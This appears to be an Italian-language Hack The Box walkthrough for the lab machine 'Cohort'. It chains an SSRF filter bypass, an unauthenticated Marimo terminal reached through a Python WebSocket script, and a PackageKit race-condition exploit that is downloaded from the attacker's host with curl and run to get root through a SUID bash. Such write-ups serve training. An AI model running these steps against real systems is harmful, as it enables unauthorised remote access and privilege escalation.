
Walkthrough di Hack The Box "Cohort" che copre il bypass del filtro SSRF, l'accesso non autenticato al terminale Marimo e l'escalation dei privilegi tramite race condition di PackageKit fino a root.
Difficoltà: Easy | OS: Linux | Autore: 1nt1m4cy
Iniziamo scansionando il target per vedere cosa è in esecuzione:
nmap -sCV --top-ports 1000 --min-rate 3000 10.129.244.174
Tre porte aperte:
22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
80/tcp - HTTP (nginx 1.24.0) -- redirects to https://cohort.htb/
443/tcp - HTTPS (nginx 1.24.0)
Il certificato TLS mostra il dominio cohort.htb e un wildcard *.cohort.htb (potrebbero esistere sottodomini nascosti).
Aggiungilo al tuo file hosts:
echo "10.129.244.174 cohort.htb" | sudo tee -a /etc/hosts
Apri https://cohort.htb/ -- è il sito aziendale di "Cohort Analytics". Non c'è molto qui.
Clicca su "Client Insights" nella barra di navigazione. Ti porta a /portal.html. Questa pagina contiene un modulo in cui fornisci un URL e il server lo recupera per te. Questo è SSRF -- il server effettua richieste per nostro conto.
Il modulo invia una POST a /api/validate. Se proviamo con http://127.0.0.1/, restituisce "Internal or loopback addresses are not permitted." -- bloccato.
Ma 127.1 aggira il filtro (è una forma abbreviata di 127.0.0.1 e il filtro non la intercetta):
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/","format":"JSON"}'
Funziona. Abbiamo una SSRF.
Usa la SSRF per controllare l'endpoint /status di nginx:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/status","format":"JSON"}'
Questo espone l'intera configurazione di nginx:
{
"service": "cohort-edge",
"upstreams": [
{ "name": "marketing", "host": "cohort.htb" },
{ "name": "insights-api", "path": "/api/", "target": "127.0.0.1:5000" },
{
"name": "notebooks",
"host": "nb-1be3782a8afd3ad5.cohort.htb",
"target": "127.0.0.1:8888",
"note": "internal analyst workspace, not for external use"
}
]
}
C'è un sottodominio nascosto: nb-1be3782a8afd3ad5.cohort.htb in esecuzione sulla porta 8888. Aggiungilo:
echo "10.129.244.174 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
Usa l'SSRF per vedere cosa c'è sulla porta 8888:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/","format":"JSON"}'
L'HTML della risposta ha <title>marimo</title> -- è Marimo, un'app per notebook Python.
Ottieni la versione esatta:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/api/version","format":"JSON"}'
Versione: 0.20.4
Marimo 0.20.4 presenta una vulnerabilità critica (CVE-2026-39987). L'endpoint WebSocket /terminal/ws fornisce un terminale completo ma non effettua alcun controllo di autenticazione. Chiunque può connettersi.
Installa la libreria websocket:
pip install websocket-client
Salva questo come shell.py:
import ssl, sys, threading, websocket
ws = websocket.create_connection(
"wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws",
sslopt={"cert_reqs": ssl.CERT_NONE}
)
def recv():
while True:
try:
data = ws.recv()
if isinstance(data, bytes): data = data.decode(errors="replace")
print(data, end="")
except: break
threading.Thread(target=recv, daemon=True).start()
for line in sys.stdin:
ws.send(line)
Esegui:
python3 shell.py
Ottieni una shell come marimo. Prendi la flag utente:
marimo@cohort:~$ cat ~/user.txt
Controlla cosa è installato:
pkcon --version
# 1.2.8
dpkg -l packagekit
# hi packagekit 1.2.8-2ubuntu1.2 amd64
PackageKit 1.2.8-2ubuntu1.2 è vulnerabile a CVE-2026-41651 -- una race condition che consente a un utente normale di installare un pacchetto malevolo come root. Il hi nell'output di dpkg significa che il pacchetto è deliberatamente mantenuto a questa vecchia versione.
Sulla tua macchina d'attacco, scarica l'exploit e servilo:
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
python3 -m http.server 8080
Sul target (nella tua shell), scaricalo ed eseguilo:
cd /tmp
curl -o exploit http://YOUR_IP:8080/cve-2026-41651
chmod +x exploit
./exploit
Attendere circa 10 secondi. L'exploit crea una bash SUID in /tmp/.suid_bash. Usarla:
/tmp/.suid_bash -p -c 'cat /root/root.txt'
Il flag -p indica a bash di mantenere i privilegi di root invece di abbandonarli.
Nmap --> ports 22, 80, 443, domain cohort.htb with wildcard *.cohort.htb
|
v
Portal at /portal.html --> URL validation form (SSRF)
|
v
SSRF bypass with 127.1 --> hit /status --> leaked hidden vhost nb-1be3782a8afd3ad5.cohort.htb
|
v
Marimo 0.20.4 on the vhost --> CVE-2026-39987: unauthenticated /terminal/ws
|
v
Shell as marimo --> user flag
|
v
PackageKit 1.2.8-2ubuntu1.2 --> CVE-2026-41651: TOCTOU race condition
|
v
SUID bash --> root flag